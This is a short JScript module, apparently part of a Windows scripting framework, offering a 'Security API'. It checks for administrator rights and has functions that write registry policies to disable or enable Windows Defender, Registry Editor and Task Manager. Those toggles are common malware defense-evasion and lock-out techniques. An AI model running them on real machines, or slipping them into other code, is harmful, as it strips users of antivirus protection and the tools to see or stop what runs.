////////////////////////////////////////////////////////////////////////
// Security API
////////////////////////////////////////////////////////////////////////
var scope = {
    VERSIONINFO: "Security Module (security.js) version 0.1",
    global: global,
	require: global.require
};
var registry = require("registry");

scope.DISABLED = 0x00000001;
scope.ENABLED = 0x00000000;

// check 'run as administrator'
scope.isElevated = function() {
    try {
        WS.RegRead("HKEY_USERS\\s-1-5-19\\");
        return true;
    } catch (e) {
        return false;
    }
}

// turn on/off Windows Defender
scope.setAntiSpyware = function(buffer) {
    var path = "SOFTWARE\\Policies\\Microsoft\\Windows Defender";
    var key = "DisableAntiSpyware";
    registry.write(registry.HKLM, path, key, buffer, registry.DWORD);
}

// trun on/off Registry Editor (regedit)
scope.setRegedit = function(buffer) {
    var path = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
    var key = "DisableRegistryTools";
    registry.write(registry.HKLM, path, key, buffer, registry.DWORD);
}

// turn on/off Task Manager (taskmgr)
scope.setTaskmgr = function(buffer) {
    var path = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
    var key = "DisableTaskMgr";
    registry.write(registry.HKLM, path, key, buffer, registry.DWORD);
}

return scope;